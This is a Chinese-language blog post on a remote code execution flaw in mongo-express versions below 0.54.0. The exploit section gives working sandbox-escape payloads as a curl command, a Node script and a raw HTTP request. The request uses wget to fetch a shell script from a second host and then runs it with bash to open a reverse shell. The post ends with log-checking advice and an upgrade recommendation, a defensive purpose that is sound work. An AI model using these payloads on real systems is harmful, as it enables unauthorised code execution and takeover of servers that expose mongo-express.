大柚子

这世界不过如此

概述

Mongo-express是MongoDB数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。

漏洞问题出在lib/bson.js中的toBSON()函数中,路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。

影响版本

mongo-express < 0.54.0

漏洞复现

1、攻击链


1. 路由 /checkValid 可以接收用户的输入,并将其作为参数调用存在漏洞的 bson.toBSON 函数
2. bson.toBSON 使用了不安全的 vm 模块来执行用户输入的代码
3. 恶意代码在执行时成功沙盒逃逸,任意代码执行

2、利用代码

(1)curl exploit


curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw=='  --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("/Applications/Calculator.app/Contents/MacOS/Calculator")'

(2)script exploit


node main.js
exploit = "this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')"
 
var bson = require('mongo-express/lib/bson')
bson.toBSON(exploit)

3、反弹shell

通过wget方式远程下载反弹shell文件


POST /checkValid HTTP/1.1
Host: 192.168.52.131:8081
Content-Length: 203
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.52.131:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.52.131:8081/checkVali
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: experimentation_subject_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqVTBaVGd3WlRCbExXTXdaV0l0TkRJeFpTMDVPRFl3TFRRMFpqZ3hObVF4WmpkbU1pST0iLCJleHAiOm51bGwsInB1ciI6ImNvb2tpZS5leHBlcmltZW50YXRpb25fc3ViamVjdF9pZCJ9fQ%3D%3D--f48c6e729d1a83e5acdd4acbdabdbd041b684e84; mongo-express=s%3A7Un_UuJXrhL8iEZ6xTpTqX5YPsi9U8is.ROmPXg%2Bo2C9hxhYkylb%2BHkptCE2WKpwdcdD9gMdCNTE
Connection: close

document=this.constructor.constructor%28%22return+process%22%29%28%29.mainModule.require%28%22child_process%22%29.execSync%28%22wget+http%3A%2F%2F192.168.52.133%3A8000%2Fshell.txt+-O+%2Ftmp%2Fshell%22%29

执行下载到本地的shell文件


document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")

应急排查

1、通过docker logs排查

命令 ”dokcer logs -f 容器ID“,可以在次日志中搜索”checkValid“关键字

2、mongodb-express自身访问日志

morgan是express默认的日志中间件,也可以脱离express,作为node.js的日志组件单独使用。

但在此容器环境中,morgan模块是默认没有配置的,故不能通过mongodb-express本身的日志排查

morgan的详细配置可参考:https://www.zhangshengrong.com/p/x7XR8bzAaz/

加固建议

升级到mongo-express 0.54.0或更高版本

https://github.com/mongo-express/mongo-express/commit/d8c9bda46a204ecba1d35558452685cd0674e6f2

参考链接

https://freesion.com/article/7592871939/

https://blog.csdn.net/whatday/article/details/106751138

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。